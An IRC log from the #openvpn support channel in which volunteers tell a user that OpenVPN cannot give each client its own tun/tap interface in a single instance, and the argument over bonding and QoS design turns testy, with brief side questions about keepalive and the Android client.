14:02 -!- brute11k [~brute11k@89.249.230.207] has quit [Ping timeout: 255 seconds]
14:04 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
14:04 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
14:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:04 -!- mode/#openvpn [+o krzee] by ChanServ
14:05 -!- brute11k [~brute11k@89.249.230.108] has joined #openvpn
14:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
14:12 -!- brute11k [~brute11k@89.249.230.108] has quit [Quit: Leaving.]
14:15 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
14:15 -!- mode/#openvpn [+o EugeneKay] by ChanServ
14:15 <@EugeneKay> Ergh, wrong alias
14:16 -!- mode/#openvpn [+v EugeneKay] by EugeneKay
14:16 <+EugeneKay> There.
14:16 -!- mode/#openvpn [-o EugeneKay] by EugeneKay
14:17 <+pekster> What, no alias to undo the damage caused by that one and +v-o you you ? :P
14:17 <+pekster> /ohwaitIdidntwantthatone
14:17 <+EugeneKay> Just talking out loud
14:18 <+pekster> Sometimes it helps. Late last night I got my IPv6 routing fixed after I asked (and then answered) my own question in another network :)
14:18 < rob0> you can "/mode +v-o EugeneKay EugeneKay" in one command, fwiw
14:19 <+EugeneKay> Meh, laziness.
14:19 <+pekster> But, The Internet wants to help make your IRC experience as efficient as possible :D
14:19 <+EugeneKay> The internet is for porn
14:20 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
14:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds]
14:31 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has quit [Quit: Leaving]
14:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:32 -!- mode/#openvpn [+o krzee] by ChanServ
14:33 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
14:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
14:34 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 255 seconds]
14:34 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:34 -!- mode/#openvpn [+o krzee] by ChanServ
14:35 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 245 seconds]
14:48 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
14:52 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
14:53 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
14:54 -!- zz_AsadH is now known as AsadH
15:15 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:19 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
15:20 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:26 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
15:29 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
15:31 -!- voyo [~voyo@213-134-188-198.home.aster.pl] has joined #openvpn
15:32 < voyo> hello, I'd like to configure openvpn server with separate interface (tun or tap) for each connecting client. is that possible using config options ?
15:33 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
15:34 <+pekster> voyo: Not with a single instance, no. Either use unique instances per client or find another way to do what you want. Why do you want unique devices for each client anyway?
15:36 < voyo> pekster:  want to do more complex setups. I even dont want to openvpn to assign IP address, want to doing all myself.  (addresses, routes, rules, qos, & more). but as 1st I  need separate interface per connecting client.
15:36 <+pekster> No, you don't
15:36 < voyo> ?
15:36 <+pekster> Use a --client-connect script tand you can manage the IP assingment all on your own
15:37 <+pekster> You have absolutely no need to use a separate device on the server-side for every connecting client to do what you want
15:37 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 246 seconds]
15:37 < voyo> yes, I know this. but its more convenient for me to configure myself (ofc automaticaly, but without attention of openvpn process).
15:37 < voyo> pekster : yes I do. I know what I need ;)
15:38 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
15:38 <+pekster> Well, I manage to QoS and firewall users, and even give unique sets of users differentn routes to various corporate networks and assign some by known-IPs, all with a single instance
15:39 < voyo> pekster: but separate instance is not very convenient, I have to have separate listening port. no other options ?
15:39 <+pekster> But you're also free to start a separate VPN service for every connecting client. Remember that you need a unique network range and port for every client
15:39 <+pekster> voyo: The other option is to design your system properly. You're going about this completely the wrong way
15:40 < voyo> pekster: ok,  how do you want to do bonding without separate interface ?
15:40 <+pekster> Bond outside of opepnvpn and tunnel across a bonded interface if that's what you want
15:40 < voyo> qos without separate interface is also very limited.
15:41 < voyo> yes it is :)
15:41 < voyo> anyway thats not the matter of my question
15:41 <+pekster> Not if you write proper rules. QoS can filter/match on whatever you'd like (in Linux, the combination of tc and netfilter is very poweful)
15:41 < voyo> yes I know all of that.
15:42 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
15:42 < voyo> I only need to run separate interface for every connectin client.
15:42 < voyo> do you know if this was possible in older openvpn version ? I'v read something like that..
15:42 <+pekster> I don't understand the question. OpenVPN has always let you run as many instances as you'd like
15:43 <+pekster> There has never been and never will be a config option to create a separate tun/tap device for each connecting client. The device is bound to the instance, like any other networking protocol on the planet
15:43 < voyo> yes yes, but in single instance.
15:43 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:43 <+pekster> (technically speaking it binds to the socket, which then sends to an interface, but that's not really important for this discussion)
15:44 <+pekster> No, you cannot do that, for the 3rd time
15:44 < voyo> like hm... running single instance, listening on port 1094 , then if client connect its spawning new instance (if needed?), or just create new interface for every client
15:44 <+pekster> I understand your question. Stop asking it, becuase the answer is still no. OpenVPN does not work like that
15:44 <+pekster> !howto
15:44 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:45 < voyo> ok ok. I'v read all manuals.
15:45 < voyo> and thats why Im here on IRC
15:45 < voyo> to get help and answers on things which are not there ;)
15:46 < voyo> and what about running it from inetd ? possible ? (regarding my demands)
15:47 <+pekster> See the --inetd config option: openvpn can run via inetd, but you need a separate line-item for each port you're listening on, with a unique configuration for each port
15:47 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
15:47 < voyo> hm ... ok... thats also not very convenient :/
15:47 <+pekster> What you want is the standard multi-client mode and to handle your special needs via scripting and post-connection process calls. Given that those scripts can do anything you can program, I can't imagine how that isn't enough for you
15:49 < voyo> yes, exatcly , I need multi-client mode, with scripiting (just possibility to "external" configuration of client).  but important is separate interface for every new client.
15:50 < voyo> seems I have to patch it myself.. shame
15:51 <+pekster> You haven't explained why you can't use post-connect scripts. The idea of "bonding" only ever makes sense when you have multipath routing and wish to combine multiple physical links. OpenVPN is a virtual link, not a physical one, so the notion of bonding over it is pointless
15:51 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
15:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:52 <+pekster> I'm happy to answer questions that might lead to a better use of the tools you have available, but no one here can help with what you're asking for as it doesn't exist and never will
15:52 < voyo> from what I'v read, the option  ifconfig-pool-linear or topology p2p should probably work like I need , but I tried , and its not
15:52 <+pekster> ifconfig-pool-linear is deprecated; use topology subnet instead
15:53 < voyo> what about "topology p2p" ?
15:53 <+pekster> You can use p2p topology if supporting Windows clients is not required, if you'd prefer not to push the entire subnet implicitly
15:53 <+pekster> With proper firewalling the security benefits of p2p are negligable, so it's really just about supporting Windows and/or making clien communication to other clients a bit easier
15:53 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Connection reset by peer]
15:54 < voyo> yes, I dont have windows clients
15:54 <+pekster> topology p2p is fine then
15:54 <+pekster> Each connecting client gets a Point-to-Point interface configuration, much like you'd expect with a sit or GRE tunnel (but done via tun and OpenVPN)
15:54 < voyo> but seems its still not working (or there is a bug) like I wanted (and described here)
15:55 < voyo> new interface are note created. only single one does exist.
15:55 < voyo> I'd expected to have more interfaces when using this option
15:55 <+pekster> Correct. This is how OpenVPN works. There is no bug
15:55 < voyo> am I right ?
15:55 <+pekster> No, you are not
15:55 < voyo> erm
15:55 < voyo> Im confused.
15:55 <+pekster> What "bug" do you have? If you cannot ping across the PtP link after OpenVPN connects, then you have made a mistake in your setup, probably in your firewall as OpenVPN logs most other connection errors
15:56 < voyo> I mean , I expected, when using p2p option, it should create new p2p interface for every connection clinet?
15:56 <+pekster> Nope
15:57 < voyo> hm...
15:57 <+pekster> THe server will allocate tun0 (or whatever you called it.) It gets a PtP setup, for example, '10.8.0.1/32 peer 10.8.0.0'
15:57 < rob0> Pro tip: never suggest "bug" unless you are very confident in your understanding of the software, and even then, it's better to let the developers who fix it be the first to call it a bug.
15:57 < voyo> hehe yes, right. sorry :P
15:57 <+pekster> rob0: Better yet, send the devs a patch fixing the bug, demonstrating that you can read the sources and are more likely to have actually discovered it is, in fact, a bug :D
15:58 <+pekster> <3
15:58 < rob0> well, of course, if you know how to find it and fix it, you should. :)
15:58 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:59 < rob0> in that case you are a "developer"
15:59 < voyo> anyway Im not the first noob from street, Im using openvpn for years. just now have special needs for special customer...
16:00 <+pekster> You've still, near as I can tell, failed to explain why you can't use PtP connectivity and handle your QoS, IP-asisgnment, routing, and firewalling with script hooks
16:01 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:02 < voyo> I have to have separate interface for every connecting client. I dont want (can't) to tell all reasons why.  My customer needs this.
16:02 <+pekster> Then we can't help you
16:02 <+pekster> !topsecret
16:02 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
16:02 < voyo> qos, bonding, that should explain most.
16:03 < voyo> no , its not matter of trust. and I can post all openvpn configs
16:03 <+pekster> I already told you why bonding doesn't apply to virtual devices. If you have such a secret setup you can't talk about it, then you need to stop wasting our time
16:03 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
16:03 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:03 < voyo> yes it does.
16:03 < voyo> Im succesfully bonding GRE tunnels.
16:04 < voyo> but thats not the matter of my problem. now I need to openvpn too
16:05 < voyo> so I need to find an answer - if I can do this with openvpn somehow (what I'd like to do, becasues I know and trust openvpn), or do some (preferable easy) changes to openvpn source code, or - find other vpn solution which will fits my needs.
16:06 <+pekster> The go find another solution. No one here is forcing you to use openvpn. We're unpaid volunteers giving back to the community, not your custom team of crackpot programmers
16:07 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:09 < voyo> sure I know. Im not demanding anything from you
16:10 < voyo> just asking if what I need is possible
16:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
16:11 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:12 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 240 seconds]
16:12 < voyo> I even told you Im able to code required change myself, and back it to comunity. you dont need to be rude.
16:14 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
16:14 -!- Starscreamer [~starscrea@b0ff367c.bb.sky.com] has joined #openvpn
16:15 <@ecrist> voyo: what are you looking for?
16:16 < voyo> ecrist: : possibility to run on server new interface for every connecting client
16:16 < voyo> (easily)
16:16 <@ecrist> openvpn does not support that
16:16 < pppingme> voyo each instance of openvpn running creates ONE interface, if you want multiple interfaces, you have to run multiple instances
16:16 < pppingme> I have a feeling what you really want is this:
16:17 < voyo> yes, I know that already. pekster has explained that to me. I wanted to assure, and ask here. after I'v read all docs, howts etc.
16:17 <@ecrist> there was an old version of openvpn that did this
16:17 <@ecrist> but we're talking 8 years ago
16:17 < pppingme> no, the old version was still 1 instance=1 interface
16:18 < pppingme> wasn't it?
16:18 <@krzee> pekster, i watched that video with djb twice and did not see anything about md5/sha1 in openssl.cnf
16:18 < pppingme> or is there something I'm not remembering?
16:18 < voyo> ecrist: ha! so I have right! I wasn't sure , but I think openvpn was working like that few years ago when I was playing with it. can you point me to this version ?
16:18 <@krzee> still a badass video tho
16:18 <@ecrist> no, iirc early openvpn (like 1.x) did a separate tun interface per client
16:19 < voyo> ok, I'll check this trace. maybe I'll easily adopot this back  in new version.
16:19 < pppingme> voyo what I think you really want is --client-to-client, make sure its NOT enabled..
16:19 <@ecrist> voyo: quite honestly, we don't want it
16:20 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
16:20 <@krzee> lol
16:20 <@krzee> seriously, why would we want that?
16:20 <@krzee> we have client/server working fine with 1 interface and WITH forward security
16:20 < voyo> ecrist: : sure, I know , thats why its not in new version. but  I need this ;)
16:20 < pppingme> WHY do you need it?  whats your goal in it?
16:20 <@krzee> you likely dont, you likely just need to understand more
16:20 <@ecrist> can I ask, why?  what are you trying to do?
16:21 < voyo> why I need this - becasue of QoS, bonding, and some other things
16:21 <@krzee> you dont need that for qos or bonding
16:21 <@ecrist> or likely, "other things"
16:21 <@krzee> and you do need tap (not tun) if you wanna do bonding
16:22 < ngharo> http://www.2dayblog.com/images/2011/november/550x-I-NEED-DIS.jpg
16:22 < voyo> how can you bond interfaces without having separate interface for each client? :)
16:22 <@ecrist> what are you bonding?
16:22 <@krzee> and how you gunna ethernet bond tun devices?
16:22 < voyo> krzee : well, have possibilito to bond both tun and tap interfaces. doesnt matter for me (much).
16:22 < pppingme> what is your goal in bonding?  clients (and you) probably only have one internet connection anyway, so bringing up two or three "instances" and bonding them together buys you nothing..
16:23 <@krzee> whats your ACTUAL goal
16:23 <@krzee> we cant help you iuf you are vague and sound like you dunno what you want
16:24 < voyo> ok. ok. Im working for bonding company. we are creating bonding/loadbalancing solutions (for internet links).
16:24 <@krzee> a bonding company?
16:24 < pppingme> ok, but it still comes down to the clients only have ONE connection, there is nothing to bond..
16:25 < voyo> currently Im bonding succesfully virtual interfaces like GRE, and even vtun (your "competition"), so I know how to bond tun/tap.
16:25 <+pekster> Fantastic. Let them have the feature-creep. Unixes pride themselves (most of the time) on "one task, one program"
16:25 < voyo> but I prefere openvpn than vtun. for soem reasons its not as stable as opevpn.
16:26 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
16:27 < voyo> its not a problem for customer to have multiple links to internet, and some of them wan't to bond vpn links too. (over different wan links ofc).
16:27 < voyo> all clear now ?
16:28 < voyo> *want
16:28 <@ecrist> VPN clients have multiple tun/tap interfaces, the server does not, unless you operate in P2P mode
16:28 < pppingme> then their connections need to be bonded at the router/isp level, in which case it becomes invisible to applications (like openvpn)
16:28 <+pekster> Not at all. Do GRE/sit/whatever, create your bond0 or what have you from it, and run openvpn over bond0. Your problem is as simple as that. Bonding, plus transit-level security provided by openvpn.
16:29 < voyo> ecrist:  yeah, I tried to enable " ifconfig-pool-linear" directive, or "topology p2p", but still it didnt gave me separate interfaces :(
16:29 <@ecrist> p2p requires a separate openvpn instance for every connection
16:29 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:29 <@ecrist> ifconfig-pool-linear isn't even related
16:29 <+pekster> 'topology p2p' does not, however. That uses multi-client mode issuing Point-to-Point setups to all clients
16:29 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
16:30 < voyo> ecrist : oki.  I think I know all now. I'll try to implement part of code from 1.x version. maybe it will fits my demands.
16:30 <@ecrist> don't bother pushing it upstream
16:31 < voyo> ok. there surely were reasons you dont support this in 2.2 and was removed
16:31 < pppingme> voyo if you're just trying to "cowboy" all this stuff together, then you're going to quickly end up with a high maintenance unsupported configuration, of course thats what some consultants seem to thrive on, screwing their clients..
16:31 <@ecrist> mostly, it's dumb. :)
16:32 < voyo> anyway tnx guys, I only wanted to know if this what I want is possible with openvpn.
16:33 < rob0> What was removed?
16:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:33 < rob0> "I'll try to implement part of code from 1.x version," what in particular?
16:34 <@ecrist> he's referring to the old, new tun/tap interface for every client
16:34 < voyo> something dump and that noone cares anymore.
16:34 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
16:34 < rob0> that still exists ...
16:34 <@ecrist> it does?
16:34 < rob0> p2p mode?
16:35 <@ecrist> heh, he wants one openvpn server instance
16:35 < rob0> oh.
16:35 < voyo> its not creating separate interface for every connecting client
16:36 < rob0> Someone came up with a hack for that, with several listening p2p instances and selective DNAT to each one.
16:36 < rob0> this was in the pre-2.0 days
16:36 < voyo> too complex and unreliable.
16:37 < voyo> better is one instance, spawning (if needed actually, ) new openvpn process (thread?) , and creating separate interface for this connection.
16:38 < pppingme> I'm still not sure I've heard a good reason for separate interfaces that isn't more cleanly addressed at another level outside of openvpn
16:41 < voyo> pppingme better QoS handling, bonding, problems finding with tcpdump, running selective IDS , stats (from interface, snmp) , thats all comes to my mind in just a second. I think I can imagine much more after more time... ;)
16:42 <@krzee> bonding server instances?
16:43 <@krzee> qos is fine in the firewall
16:43 <@krzee> tcpdump should work fine if you understand how to use it (filter by client vpn ip)
16:43 < voyo> krzee : bonding interfaces
16:43 <@krzee> IDS, same answer as qos
16:43 <@krzee> bonding interfaces on the SERVER?
16:43 < voyo> yes
16:44 < voyo> for 'download' traffic
16:44 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has quit []
16:44 < pppingme> voyo every single issue you bring up is more cleanly addressed outside of openvpn
16:44 < voyo> if you say so
16:45 <@krzee> i agree with him, but if you wanna run a separate openvpn per client, feel free.  i HIGHLY doubt the software will be changing to meet that need so feel free to script something up
16:45 < voyo> Im not saying it is not possible (beside of bonding), but it is just *much* easier when having seprarate interfaces..
16:45 < pppingme> I DO say so,  and there are probably better ways of doing everything you're asking for
16:45 <@krzee> yep, but bottom line is… if you wanna, go for it
16:45 < pppingme> is your primary goal redundancy, or throughput?
16:46 < voyo> pppingme : with openvpn as uplink - redudancy+security
16:47 <@krzee> you're bonding service interface to something for redundancy?
16:47 <@krzee> o_O
16:47 < pppingme> are these site to site connections, or direct client connections?
16:47 <@krzee> server interface*
16:48 < voyo> krzee : you can use separare links for redudancy, but you will surely lost some (large amount rather) packets when one link gets down. its better to bond them.
16:49 < pppingme> voyo are these site to site connections, or direct client connections?
16:49 < voyo> pppingme : mostly cpe=>central server=> internet, but also cpe1=>server=>cpe2
16:49 < pppingme> so cpe=site, not individual, right?
16:50 < voyo> yes cpe means site,  lets say "branch office"
16:50 < pppingme> and these "sites" have more than one internet connection, or just one?
16:51 < voyo> more
16:51 <@krzee> and when the server itself goes down?  if you want real redundancy shouldnt you impliment multiple servers and make a darknet?
16:51 < voyo> :) guess
16:52 < pppingme> then here's the simple solution, build SIMPLE tunnels, how ever you want, openvpn, gre, whatever, then run ospf (or if you're iq isn't up to ospf, use the dummied version, rip2)
16:52 < voyo> CPE can be configured even to use 'normal' link as a backup, when everything else fails. or even can have 3G backup for last resort. some customers are demanding..
16:52 < pppingme> all done
16:52 <+pekster> pppingme: Yea, I've listed that solution twice now. I've stopped trying
16:52 <@krzee> we get people looking for redundancy VERY often, you're the first to want to ethernet bond server vpn interfaces to accomplish it lol
16:52 < pppingme> its what I do
16:53 <+pekster> Indeed. It's what any network professional does: add redundancy, then add a security layer on top. Could be TLS, or IPsec, or opevpn, or w/e depending on high level needs
16:53 < voyo> pppingme : you dont need to offende me, my IQ is enough even to setup iBGP :P
16:54 <@krzee> lol
16:54 < pppingme> but its not high enough to get the point that bonding at the vpn layer is generally BAD news
16:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:54 <@krzee> screw it, let him impliment his own fail
16:54 <+pekster> pppingme: Doing that is more than bad news in my opinion; it's an OSI layering violation too ;)
16:54  * pppingme gets the bonus point!
16:54 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
16:55 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
16:55 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
16:55 < voyo> pppingme : Im telling its best solution, I know already all pros and cons. Im just working for someone who is paying for my bread and butter, and who is telling me that he WANT this. thats all.
16:56  * voyo score one more bonus point...
16:56 < pppingme> voyo if you're a true consultant, or a good employee, then you will explain to your boss why this is bad and give a better solution
16:56 <@ecrist> pppingme++
16:56 < voyo> lol
16:56 < voyo> you should try to live longer then ;)
16:58 < pppingme> I will live longer, I'm not stressing over very fragile setups that cause all sorts of problems, when I implement a solution, its SOLID, and just plain works!
16:58 < voyo> good for you :)
16:58 <@krzee> 1) explain why FAIL is bad, explain how DOES is better 2) impliment DOES 3) ???  4) profit
17:00 < pppingme> krzee you're forgetting, 4) profit won't happen, consultants make money when they implement a bad solution and get to keep going back to fix it..
17:00 <+pekster> Good consultant can make money doing the right thing, and sometimes someone even notices it ;)
17:01 <@krzee> i always got tons of referrals because im never needed after i setup the DOES
17:01 <+pekster> Well, everyone except RMS, but that's why he's not a consultant :P
17:01 <@krzee> given enough time RMS or hitler always shows up in a conversation
17:01 < pppingme> yeah, but some consultants don't get that.  I once had a client ask me, "Didn't you just fix yourself out of a job?"
17:01 <@krzee> often at the same time iirc ;]
17:01 < voyo> I bet guys you are all young yet ;) trust me, sometimes its realy better to do what someone wants and get paid for this. not explaining anything and forcing yours  "better solution" (tm).
17:02 <@krzee> i guess you havnt had to clean up enoughj bad solutions yet
17:02 <@krzee> after a certain point you realize doing things wrong is bad
17:02 <+pekster> And doing bad things is usually wrong too (morally, anyway)
17:02 <@krzee> around that time you stop implimenting bad solutions ;]
17:02 < pppingme> voyo how old are you?  I'm willing to bet I'm older and much more experienced than you at implementing network, especially wan, solutions.
17:03 < voyo> sure. always after I get paid after it. then implementing another, possibly better solution ;) all depends on customer whom to you working with.
17:03 <+pekster> krzee: So, not that this will change your mind, but my IPv6 setup with the sixxs.net tunnel broker was suprisingly smooth. Come join the fun someday ;)
17:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
17:04 <@krzee> one day =]
17:04 <@krzee> (kicking and screaming)
17:04 < voyo> pppingme : Im old enough to not rival in this game ;)
17:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:06 < pppingme> rival?  you already lost
17:08 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:09 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
17:10 <@krzee> basically, you're one of those techs who will impliment fail, knowing its fail, simply so you can get paid to go back… amirite?
17:10 < voyo> kk gus, enough wasting time for me. tnx for your answers. g2g.
17:10 <@krzee> adios
17:10 < voyo> krzee : some day you will learn that they are kind of customers,  for which or you are doing what they said and you will get well paid, or you are forced to find somewhere else your bread (but without butter this time).
17:12 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
17:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:16 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
17:18 -!- oyunokata [~rrinehart@209.163.177.130] has quit [Ping timeout: 240 seconds]
17:20 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:20 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Quit: No Ping reply in 180 seconds.]
17:20 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
17:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
17:30 -!- Starscreamer [~starscrea@b0ff367c.bb.sky.com] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
17:30 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
17:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
17:35 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
17:35 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:36 -!- raidz is now known as raidz_away
17:38 < jY> can you use --inactive  with keepalive?
17:40 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
17:41 <+pekster> jY: Yes, because --inactive only considers data packets for activity timers, and the --ping feature is a TLS-level packet
17:41 < jY> great thanks
17:41 <+pekster> (that's in the manpage, btw)
17:47 -!- raidz_away is now known as raidz
17:54 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 248 seconds]
17:55 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
18:03 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
18:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
18:08 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
18:11 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
18:18 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
18:19 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 276 seconds]
18:20 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
18:21 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
18:22 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Remote host closed the connection]
18:24 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
18:27 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
18:30 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
18:38 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
18:41 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
18:49 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
19:00 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
19:02 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
19:02 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
19:02 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
19:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:06 -!- oyunokata [~rrinehart@71.21.227.159] has joined #openvpn
19:08 -!- oyunokata [~rrinehart@71.21.227.159] has quit [Client Quit]
19:09 -!- oyunokata [~rrinehart@71.21.227.159] has joined #openvpn
19:14 -!- oyunokata [~rrinehart@71.21.227.159] has quit [Client Quit]
19:17 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
19:33 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
19:38 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
19:39 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
19:40 -!- cosmicgate [~root@216.17.109.26] has joined #openvpn
19:41 -!- raidz is now known as raidz_away
19:41 < shadoom> hey, im having problems with the android version of openvpn. I added my ovpn file to my samsung note (4.1.2) added my credentials and hit connect, it doesnt give any errors and i can see some traffic but there is no internet connection to it. I found some fixes online but they all require a rooted device. Did I just do something wrong or do I really have to root my device?
19:41 < shadoom> I also made sure that the ovpn file works on a windows pc
19:42 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
19:43 < cosmicgate> get openvpn for android
19:43 < cosmicgate> it dosnt require root
19:43 < shadoom> yes thats what i did
19:44 < cosmicgate> did the ovpn file work on windows?
19:44 < shadoom> yes
19:44 < cosmicgate> check your configuration on android
19:44 < cosmicgate> something might be amiss
19:51 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
19:56 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
20:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:12 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
20:12 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
20:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:12 -!- mode/#openvpn [+o krzee] by ChanServ
20:13 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 255 seconds]
20:15 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
